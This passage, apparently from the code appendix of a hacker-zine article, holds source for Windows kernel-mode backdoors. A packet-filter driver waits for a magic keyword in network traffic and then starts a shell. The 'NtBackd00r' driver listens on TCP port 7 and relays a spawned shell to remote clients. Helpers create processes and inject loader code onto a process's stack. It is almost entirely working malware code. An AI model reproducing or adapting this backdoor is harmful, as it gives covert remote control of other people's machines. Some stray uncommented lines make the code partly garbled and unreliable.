DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);

BOOL WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);

}}

NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor) {

//_asm int 3;

SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID}; SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID}; char daclbuf[PAGE_SIZE];

NT::PACL dacl = (NT::PACL)&daclbuf;

char sdbuf[PAGE_SIZE];

NT::PSECURITY_DESCRIPTOR sd = &sdbuf;

NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION); if (!NT_SUCCESS(status)) return status;

status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid); if (!NT_SUCCESS(status)) return status;

RtlZeroMemory(sd, PAGE_SIZE);

status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION); if (!NT_SUCCESS(status)) return status;

status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE); if (!NT_SUCCESS(status)) return status;

status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE); if (!NT_SUCCESS(status)) return status;

if (!NT::RtlValidSecurityDescriptor(sd)) {

_asm int 3;

}

//To try!

ULONG buflen = PAGE_SIZE*2;

*pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen); if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES; return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen); }

#define PIPE_NAME_MAX 40*2

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess) {

NT::IO_STATUS_BLOCK iosb;

NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd}; NT::LARGE_INTEGER nTimeOut;

nTimeOut.QuadPart = (__int64)‑1E7;

return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess, FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut); }

int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName) {

HANDLE hProcess, hThread, hSection, hFile;

//_asm int 3;

NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE}; NT::IO_STATUS_BLOCK iosb;

NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

oa.ObjectName = 0;

NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, SEC_IMAGE, hFile);

NT::ZwClose(hFile);

ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, NtCurrentProcess(), TRUE, hSection, 0, 0);

NT::SECTION_IMAGE_INFORMATION sii; NT::ZwQuerySection(hSection, NT::SectionImageInformation, &sii, sizeof sii, 0);

NT::ZwClose(hSection);

NT::USER_STACK stack = {0};

ULONG n = sii.StackReserve; NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,

MEM_RESERVE, PAGE_READWRITE);

stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)

+ sii.StackReserve;

stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)

‑ sii.StackCommit;

/* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/

n = sii.StackCommit + PAGE_SIZE;

PVOID p = PCHAR(stack.ExpandableStackBase) ‑ n; NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,

MEM_COMMIT, PAGE_EXECUTE_READWRITE);

ULONG x; n = PAGE_SIZE;

ZwProtectVirtualMemory(hProcess, &p, &n,

PAGE_READWRITE | PAGE_GUARD, &x);

NT::CONTEXT context = {CONTEXT_FULL};

context.SegGs = 0;

context.SegFs = 0x38;

context.SegEs = 0x20;

context.SegDs = 0x20;

context.SegSs = 0x20;

context.SegCs = 0x18;

context.EFlags = 0x3000;

context.Esp = ULONG(stack.ExpandableStackBase) ‑ 4; context.Eip = ULONG(sii.EntryPoint);

NT::CLIENT_ID cid;

ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack, TRUE);

NT::PROCESS_BASIC_INFORMATION pbi; NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,

&pbi, sizeof pbi, 0);

HANDLE hPipe,hPipe1;

oa.ObjectName = PipeName;

oa.Attributes = OBJ_INHERIT;

if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0; NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe, 0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);

CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);

InformCsrss(hProcess, hThread, ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));

ZwResumeThread(hThread, 0);

NT::ZwClose(hProcess);

NT::ZwClose(hThread);

return int(cid.UniqueProcess);

}

int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName) {

NT::UNICODE_STRING ImageFile;

NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName); return exec_piped(&ImageFile, PipeName);

}

‑‑‑‑[ 8.5 ‑ NebbetCreateProcess.diff

268a269,384

> typedef

> WINBASEAPI

> BOOL

> (WINAPI

> *f_SetStdHandle)(

> IN DWORD nStdHandle,

> IN HANDLE hHandle

> );

> typedef

> WINBASEAPI

> HANDLE

> (WINAPI

> *f_CreateFileW)(

> IN LPCWSTR lpFileName,

> IN DWORD dwDesiredAccess,

> IN DWORD dwShareMode,

> IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,

> IN DWORD dwCreationDisposition,

> IN DWORD dwFlagsAndAttributes,

> IN HANDLE hTemplateFile

> );

> #ifdef _DEBUG

> typedef

> WINBASEAPI

> DWORD

> (WINAPI

> *f_GetLastError)(

> VOID

> );

> #endif

> typedef VOID (*f_EntryPoint)(VOID);

>

> struct s_data2embed

> {

> wchar_t PipeName[PIPE_NAME_MAX];

> //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];

> f_SetStdHandle pSetStdHandle;

> f_CreateFileW pCreateFileW;

> f_EntryPoint EntryPoint;

> #ifdef _DEBUG

> f_GetLastError pGetLastError;

> #endif

> };

>

> //void before_code2embed(){};

> void code2embed(s_data2embed *embedded_data)

> {

> HANDLE hPipe;

>

> __asm int 3;

> hPipe = embedded_data‑>pCreateFileW(embedded_data‑>PipeName, > GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,

> 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,

> NULL,

> OPEN_EXISTING,

> 0/*FILE_ATTRIBUTE_NORMAL*/,

> NULL);

> embedded_data‑>pGetLastError();

> /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;

> hWPipe = embedded_data‑>pCreateFileW(embedded_data‑>WPipeName, > GENERIC_WRITE | SYNCHRONIZE,

> FILE_SHARE_READ /*| FILE_SHARE_WRITE*,

> NULL,

> OPEN_EXISTING,

> 0,

> NULL);

> embedded_data‑>pGetLastError();

> if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */

> if (hPipe!=INVALID_HANDLE_VALUE)

> {

> embedded_data‑>pSetStdHandle(STD_INPUT_HANDLE, hPipe); > embedded_data‑>pSetStdHandle(STD_OUTPUT_HANDLE, hPipe); > embedded_data‑>pSetStdHandle(STD_ERROR_HANDLE, hPipe); > }

> embedded_data‑>EntryPoint();

> }

> __declspec(naked) void after_code2embed(){};

> #define sizeof_code2embed ((ULONG)&after_code2embed‑(ULONG)&code2embed) >

> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack)

> {

> s_data2embed data2embed;

> PVOID pKERNEL32;

> NT::UNICODE_STRING ModuleFileName;

>

> _asm int 3;

>

> *pCode = 0;

> *pNewStack = 0;

> NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll"); > LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32); > if (!pKERNEL32) return;

> data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle"); > data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW"); > #ifdef _DEBUG

> data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError"); > #endif

> if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return; > data2embed.EntryPoint=(f_EntryPoint)EntryPoint;

> wcscpy(data2embed.PipeName, PipeName);

> //wcscpy(data2embed.WPipeName, WPipeName);

> char* p = (char*)pStack ‑ sizeof_code2embed;

> if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return; > *pCode = (ULONG)p;

>

> p ‑= sizeof s_data2embed;

> if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return; >

> PVOID pData = (PVOID)p;

> p ‑= sizeof pData;

> if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return; >

> p ‑= 4;

> *pNewStack = (ULONG)p;

> }

>

317a434,437

> ULONG newEIP, NewStack;

> redir2pipe(hProcess, PipeName‑>Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack); > if ((!NewStack)||(!newEIP)) return 0;

>

326,327c446,449

< context.Esp = ULONG(stack.ExpandableStackBase) ‑ 4;

< context.Eip = ULONG(sii.EntryPoint);

‑‑‑

> //loader code is on the stack

> context.Esp = NewStack;

> context.Eip = newEIP;

‑‑‑‑[ 8.6 ‑ NtdllDynamicLoader.cpp

#include <ntdll.h>

//#include "UndocKernel.h"

#include "DynLoadFromNtdll.h"

//Example A.2 from Nebbet's book

//Search loaded module by name

PVOID FindModule(char *module)

{

ULONG n;

//Request necessary size of buffer

NT::ZwQuerySystemInformation(NT::SystemModuleInformation,

&n, 0, &n);

//Allocate memory for n structures

PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request information about modules

NT::ZwQuerySystemInformation(NT::SystemModuleInformation,

q, n * sizeof *q, 0);

//Module counter located at address q, information begins at q+1

NT::PSYSTEM_MODULE_INFORMATION p

= NT::PSYSTEM_MODULE_INFORMATION(q + 1);

PVOID ntdll = 0;

//Cycle for each module ...

for (ULONG i = 0; i < *q; i++)

{

//...compare it's name with looked for...

if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset, module) == 0)

{

//...and stop if module found

ntdll = p[i].Base; break;

}

}

//Free memory

NT::ExFreePool(q);

return ntdll;

}

PVOID FindNT()

{

return FindModule("ntdll.dll");

}

//Search exported function named Name in module, loaded at addrress Base

PVOID FindFunc(PVOID Base, PCSTR Name)

{

//At addrress Base there is DOS EXE header

PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base); //Extract offset of PE‑header from it

PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos‑>e_lfanew); //Evaluate pointer to section table,

//according to directory of exported functions

PIMAGE_DATA_DIRECTORY expdir

= nt‑>OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //Extract address and size of that table

ULONG size = expdir‑>Size;

ULONG addr = expdir‑>VirtualAddress;

//Evaluate pointers:

// ‑ to directory of exported functions

PIMAGE_EXPORT_DIRECTORY exports

= PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);

// ‑ to table of addresses

PULONG functions = PULONG(PCHAR(Base) + exports‑>AddressOfFunctions); // ‑ to table of ordinals

PSHORT ordinals = PSHORT(PCHAR(Base) + exports‑>AddressOfNameOrdinals); // ‑ to table of names

PULONG names = PULONG(PCHAR(Base) + exports‑>AddressOfNames);

//Cycle through table of names ...

for (ULONG i = 0; i < exports‑>NumberOfNames; i++) { //Ordinal that matches name is index in the table of addresses

ULONG ord = ordinals[i];

//Test is the address correct

if (functions[ord] < addr || functions[ord] >= addr + size) { //If function name matches looked for...

if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)

//then return it's address

return PCHAR(Base) + functions[ord];

}

}

//Function not found

return 0;

}

‑‑‑‑[ 8.7 ‑ Filtering.cpp

extern "C" {

#include <ntddk.h>

#include <ntddndis.h>

#include <pfhook.h>

#include "filtering.h"

#include "Sniffer.h"

NTSYSAPI

NTSTATUS

NTAPI

ZwLoadDriver(

IN PUNICODE_STRING DriverServiceName

);

}

extern PF_FORWARD_ACTION PacketFilter(

IN IPHeader *PacketHeader,

IN unsigned char *Packet,

IN unsigned int PacketLength,

IN unsigned int RecvInterfaceIndex,

IN unsigned int SendInterfaceIndex,

IN IPAddr RecvLinkNextHop,

IN IPAddr SendLinkNextHop

);

NTSTATUS globalresult;

PDEVICE_OBJECT pDeviceObject;

PFILE_OBJECT pFileObject;

KEVENT Event;

NTSTATUS SutdownFiltering()

{

if ((pDeviceObject)&&(pFileObject))

{

globalresult=SetupFiltering(NULL); ObDereferenceObject(pFileObject); return globalresult;

}

else return STATUS_SUCCESS;

}

NTSTATUS InitFiltering()

{

UNICODE_STRING FiltDrvName;

UNICODE_STRING DSN={0};

//_asm int 3;

RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER"); pDeviceObject=NULL;

retry:

IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceObject); if ((!pDeviceObject)&&(!DSN.Length))

{

RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver"); ZwLoadDriver(&DSN);

goto retry;

}

if (pDeviceObject)

{

KeInitializeEvent(&Event,NotificationEvent,FALSE); return SetupFiltering(&PacketFilter);

} else return STATUS_OBJECT_NAME_NOT_FOUND;

}

NTSTATUS SetupFiltering(void *PacketFilterProc)

{

IO_STATUS_BLOCK iostb;

LARGE_INTEGER Timeout;

PIRP pirp = NULL;

//_asm int 3;

pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0,FALSE,&Event,&iostb); if (!pirp)

{

return STATUS_UNSUCCESSFUL;

}

globalresult=IoCallDriver(pDeviceObject,pirp);

if (globalresult == STATUS_PENDING)

{

Timeout.QuadPart=100000000;

if (KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=STATUS_SUCCESS) return STATUS_UNSUCCESSFUL; globalresult = pirp‑>IoStatus.Status;

}

return globalresult;

}

‑‑‑‑[ 8.8 ‑ MPFD_main.cpp

extern "C" {

#include <ntddk.h>

#include <ntddndis.h>

#include <pfhook.h>

#include "Sniffer.h"

#include "Filtering.h"

}

extern VOID ShellStarter(VOID* StartShellEvent);

HANDLE hShellStarterTread=NULL;

BOOLEAN Terminating=FALSE;

KEVENT StartShellEvent;

unsigned char * __cdecl memfind(

const unsigned char * str1,

unsigned int n1,

const unsigned char * str2,

unsigned int n2

)

{

if (n2>n1) return NULL;

unsigned char *cp = (unsigned char *) str1; unsigned char *s1, *s2;

unsigned int x;

for (unsigned int i=0;i<=n1‑n2;i++)

{

s1 = cp;

s2 = (unsigned char *) str2;

x=n2;

while (x && !(*s1‑*s2) ) s1++, s2++, x‑‑;

if (!x) return(cp);

cp++;

}

return(NULL);

}

unsigned char keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6";

PF_FORWARD_ACTION PacketFilter(

IN IPHeader *PacketHeader,

IN unsigned char *Packet,

IN unsigned int PacketLength,

IN unsigned int RecvInterfaceIndex,

IN unsigned int SendInterfaceIndex,

IN IPAddr RecvLinkNextHop,

IN IPAddr SendLinkNextHop

)

{

if (memfind(Packet,PacketLength,keyword,sizeof(keyword))) {

HANDLE ThreadHandle;

KeSetEvent(&StartShellEvent, 0, FALSE);

}

return PF_PASS;

}

NTSTATUS

OnStubDispatch(

IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp

)

{

Irp‑>IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest (Irp,

IO_NO_INCREMENT

);

return Irp‑>IoStatus.Status;

}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{

#if (DBG)

DbgPrint("MPFD: OnUnload called\n");

#endif

PVOID ThreadObj;

SutdownFiltering();

if (hShellStarterTread)

{

Terminating=TRUE; ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL, KernelMode, &ThreadObj, NULL); KeSetEvent(&StartShellEvent, 0, TRUE); KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL); }

}

#pragma code_seg("INIT")

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {

NTSTATUS status;

#if (DBG)

DbgPrint("MPFD:In DriverEntry\n");

#endif

UNREFERENCED_PARAMETER(RegistryPath);

for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {

DriverObject‑>MajorFunction[i] = OnStubDispatch; }

DriverObject‑>DriverUnload = OnUnload;

status=InitFiltering();

if (status!=STATUS_SUCCESS) return status; KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE); OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; status=PsCreateSystemThread(&hShellStarterTread, THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);

return status;

}

‑‑‑‑[ 8.9 ‑ NtBackd00r.cpp

// NtBackd00r.cpp

//

// Generated by Driver::Wizard version 2.0

#define VDW_MAIN

#include <vdw.h>

#include <stdio.h>

#include <ntifs.h>

#include "function.h"

#include "NtBackd00r.h"

#pragma hdrstop("NtBackd00r.pch")

#if (DBG)

#define dprintf DbgPrint

#else

#define dprintf

#endif

extern "C" {

NTSYSAPI

NTSTATUS

NTAPI

ZwWaitForMultipleObjects(

IN ULONG HandleCount,

IN PHANDLE Handles,

IN WAIT_TYPE WaitType,

IN BOOLEAN Alertable,

IN PLARGE_INTEGER Timeout OPTIONAL );

NTSYSAPI

NTSTATUS

NTAPI

ZwCreateEvent(

OUT PHANDLE EventHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType,

IN BOOLEAN InitialState

);

NTSYSAPI

NTSTATUS

NTAPI

ZwSetEvent(

IN HANDLE EventHandle,

OUT PULONG PreviousState OPTIONAL );

}

extern "C" void LoadFuncs();

extern "C" HANDLE StartShell(PHANDLE phPipe);

extern VOID ShellStarter(VOID* StartShellEvent);

////////////////////////////////////////

// Begin INIT section

#pragma code_seg("INIT")

DECLARE_DRIVER_CLASS(NtBackd00r, NULL)

////////////////////////////////////////

// Driver Entry

//

NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING RegistryPath)

{

UNREFERENCED_PARAMETER(RegistryPath);

//Dynamic import of functions exported from ntdll.dll

LoadFuncs();

// Initialize the TDIClient framework first

if (!KTDInterface::Initialize())

{

// something wrong with TDI

return STATUS_NOT_FOUND;

}

// Create TCP server, port 7

CIPTRANSPORT_ADDRESS TCP_port(IPPORT_ECHO); m_pListener = new(NonPagedPool) KStreamServer<Session> (TCP_port);

// If succeeded ‑ enable network events

if (m_pListener && m_pListener‑>IsCreated()) { m_pListener‑>SetEvents(TRUE); dprintf("NtBackd00rDevice: Listener started\n");

}

else {

dprintf("NtBackd00rDevice: Failed to start (port conflict?)\n"); return STATUS_INSUFFICIENT_RESOURCES;

}

//Create dummy device for IoQueueWorkItem

m_pDummyDevice = new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);

if (m_pDummyDevice == NULL)

{

return STATUS_INSUFFICIENT_RESOURCES;

}

return STATUS_SUCCESS;

}

#pragma code_seg()

#pragma warning( disable : 4706 )

//This message will be sen to client in case of failure when starting shell

char errtxt_shell[]="cant start shell";

////////////////////////////////////////

// Unload is responsible for releasing any system objects that

// the driver has allocated.

//

VOID NtBackd00r::Unload(VOID)

{

if (m_pListener)

{

// Disable network event notifications

m_pListener‑>SetEvents(FALSE);

// Iterate through the list of active sessions

// and forcefully disconnect all active sessions

Session* p;

TDI_STATUS Status;

while ( p = m_ActiveSessionList.RemoveHead() ) {

// Thread handle must be extracted before dele p

HANDLE hWorkerThread = p‑>hDataPumpThread; // By default, this method will perform an

// abortive disconnect (RST)

Status = p‑>disconnect(); ASSERT(TDI_PENDING == Status || TDI_SUCCESS == Status); delete p;

// It's required to wait for termination of worker threads,

// or else unloading driver will cause BSOD

if (hWorkerThread) ZwWaitForSingleObject(hWorkerThread, FALSE, NULL); }

// Wait for all outstanding requests to complete

// By issuing a disconnect for all sessions, any

// pending requests should be completed by the transport

m_pListener‑>Wait();

// destroy the socket

delete m_pListener;

m_pListener = NULL;

dprintf("NtBackd00rDevice: Listener stopped\n"); }

delete m_pDummyDevice;

// Call base class destructor to delete all devices.

KDriver::Unload();

}

// Frees buffers, given to ZwWriteFile for asynchronous write

VOID NTAPI ApcCallbackWriteComplete(

IN PVOID ApcContext,

IN PIO_STATUS_BLOCK IoStatusBlock,

IN ULONG Reserved

{

UNREFERENCED_PARAMETER(IoStatusBlock); UNREFERENCED_PARAMETER(Reserved);

//

delete (uchar *)ApcContext;

}

#define SENDS_QUEUED_THRESHOLD 3

// Thread, that transfers data between named pipe and socket

VOID DataPumpThread(IN PVOID thiz1)

{

IO_STATUS_BLOCK send_iosb, rcv_iosb;

uchar *send_buf, *rcv_buf;

ULONG rd;

const bufsize=0x1000;

NTSTATUS status;

LARGE_INTEGER ResendInterval;

//loacl copy of Pipes needed for correct thread termination

//after deleting Session

s_Pipes *Pipes;

Session* thiz=(Session*)thiz1; Pipes=thiz‑>m_Pipes;

ResendInterval.QuadPart = (__int64)1E6; //0.1c

//Create FIFO

//Source of BSOD at high IRQL

thiz‑>pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000, NonPagedPool); //Lock socket to avoid sudden deletion of it

thiz‑>Lock();

//send_buf alocated here, deleted in OnSendComplete

send_buf = new(NonPagedPool) uchar[bufsize]; //Start asynchronous read

status=ZwReadFile(Pipes‑>hPipe, Pipes‑>hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL); if (status==STATUS_SUCCESS)

{

//Send read data to client

status=thiz‑>send(send_buf, send_iosb.Information, send_buf); if ((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS)) dprintf("send error %08x\n"); //to avoid recurring send of same data

send_iosb.Status = ‑1;

}

while (1) switch (ZwWaitForMultipleObjects(2, &Pipes‑>hPipeEvents[0], WaitAny, TRUE, NULL)) {

//STATUS_WAIT_1 ‑ read operation completed

case STATUS_WAIT_1:

//

if (Pipes‑>Terminating) goto fin; if (!Pipes‑>hPipe) break;

sending:

{

if (!send_iosb.Status) {

resend:

//Send read data to client

status=thiz‑>send(send_buf, send_iosb.Information, send_buf); //If there wan an error, then it tried to push too much data in socket

if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING)) {

//Wait for free space in buffer...

KeDelayExecutionThread(KernelMode, TRUE, &ResendInterval);

//...and retry

goto resend;

}

}

//send_buf alocated here, deleted in OnSendComplete

send_buf = new(NonPagedPool) uchar[bufsize]; //Start asynchronous read

status=ZwReadFile(Pipes‑>hPipe, Pipes‑>hPipeEvents[1], NULL, NULL, &send_iosb, send_buf, bufsize, NULL, NULL); //If there was a data in pipe buffer, it read instantly.

if (status==STATUS_SUCCESS)

//send it immediately

goto sending;

else {

if (status!=STATUS_PENDING)

{

delete send_buf;

STATUS_PIPE_LISTENING ‑ it's OK, process not connected to pipe yet

if (status!=STATUS_PIPE_LISTENING)

otherwise it was an error, disconnect client and terminate thread

if (!Pipes‑>Terminating) thiz‑>disconnect();

goto fin;

}

}

};

break;

//STATUS_WAIT_0 ‑ write operation completed

case STATUS_WAIT_0:

if (Pipes‑>Terminating) goto fin; if (!Pipes‑>hPipe) break;

//FIFO must be locked during all operation with it

//to avoid conflicts

thiz‑>pWBytePipe‑>Lock();

//At first look what crowd into FIFO,...

rd = thiz‑>pWBytePipe‑>NumberOfItemsAvailableForRead(); if (rd)

{

//... then allocate appropriate amount of memory ...

rcv_buf = new(NonPagedPool) uchar[rd];

//... and read all at once

rd = thiz‑>pWBytePipe‑>Read(rcv_buf, rd); }

thiz‑>pWBytePipe‑>Unlock();

if (rd)

{

status = ZwWriteFile(Pipes‑>hPipe, NULL, ApcCallbackWriteComplete, rcv_buf, &rcv_iosb, rcv_buf, rd, NULL, NULL); if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(status!=STATUS_PENDING)) {

//if there was an error, disconnect client and terminate thread

if (!Pipes‑>Terminating) thiz‑>disconnect();

goto fin;

}

}

break;

case STATUS_ALERTED:

break;

default: goto fin;

}

fin:

//If termination not initiated from outside, unlock socket

if (!Pipes‑>Terminating) thiz‑>Unlock();

//If pipe exists, then all the rest exists too ‑

//destroy it all

if (Pipes‑>hPipe)

{

ZwClose(Pipes‑>hPipe);

for (int i=0;i<=1;i++) ZwClose(Pipes‑>hPipeEvents[i]); CLIENT_ID clid = {Pipes‑>ChildPID, 0}; HANDLE hProcess;

OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0, NULL, 0}; #define PROCESS_TERMINATE (0x0001)

status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid); if (!status)

{ ZwTerminateProcess(hProcess, 0); ZwClose(hProcess);

}

}

delete Pipes;

PsTerminateSystemThread(0);

}

#define DISABLE_INTS __asm pushfd; cli

#define RESTORE_INTS __asm popfd;

VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1) {

OBJECT_ATTRIBUTES attr;

HANDLE loc_hPipe, loc_hPipeEvents[2], loc_ChildPID;

UNREFERENCED_PARAMETER(DeviceObject);

#define desc ((s_WorkItemDesc*)desc1)

//By course of business will check is there "cancel" command

if (desc‑>WorkItemCanceled) goto cancel2;

//Start shell

loc_ChildPID = StartShell(&loc_hPipe);

if (loc_ChildPID)

{

InitializeObjectAttributes(&attr, NULL, 0, NULL, NULL);

//Create 2 events to notify thread about data receipt

//from socket or pipe

for (int i=0;i<=1;i++) ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr, SynchronizationEvent, FALSE);

//Disable interrupts and write all handles to structure that is class member

DISABLE_INTS

if (!desc‑>WorkItemCanceled) {

desc‑>thiz‑>m_Pipes‑>hPipe = loc_hPipe;

desc‑>thiz‑>m_Pipes‑>hPipeEvents[0] = loc_hPipeEvents[0];

desc‑>thiz‑>m_Pipes‑>hPipeEvents[1] = loc_hPipeEvents[1];

desc‑>thiz‑>m_Pipes‑>ChildPID = loc_ChildPID;

}

RESTORE_INTS

if (desc‑>WorkItemCanceled) goto cancel;

//Create thread, that transfers data between named pipe and socket

PsCreateSystemThread(&desc‑>thiz‑>hDataPumpThread, THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc‑>thiz); } else {

cancel:

//In case of error or cancel close pipe, send error message to client,

//and disconnect it

ZwClose(loc_hPipe);

char* errmess = new(NonPagedPool) char[sizeof(errtxt_shell)‑1]; RtlCopyMemory(errmess, errtxt_shell, sizeof(errtxt_shell)‑1); desc‑>thiz‑>send(errmess, sizeof(errtxt_shell)‑1); desc‑>thiz‑>disconnect();

}

cancel2:

//Cleanup

IoFreeWorkItem(desc‑>WorkItem);

DISABLE_INTS

desc‑>WorkItem = NULL;

if (!desc‑>WorkItemCanceled) desc‑>thiz‑>m_WorkItemDesc = NULL; RESTORE_INTS

ExFreePool(desc1);

#undef desc

}

////////////////////////////////////////

// Session ‑‑ Event handlers.

BOOLEAN Session::OnConnect(uint AddressLength, PTRANSPORT_ADDRESS pTA,

uint OptionsLength, PVOID Options)

{

// Connecting: print the IP address of the requestor and grant the connection

#if(DBG)

char szIPaddr[20]; inet_ntoa(PTDI_ADDRESS_IP(pTA‑>Address[0].Address)‑>in_addr, szIPaddr, sizeof(szIPaddr));

dprintf("NtBackd00rDevice: Connecting client, IP addr = %s, session %8X\n", szIPaddr, this); #endif

// obtain a pointer to the KDriver derived class

NtBackd00r* p = reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance()); ASSERT(p);

//Initialization of miscellaneous stuff

pWBytePipe = NULL;

hDataPumpThread = NULL;

m_Pipes = new(NonPagedPool) s_Pipes; RtlZeroMemory(m_Pipes, sizeof s_Pipes);

//Initialize and start WorkItem

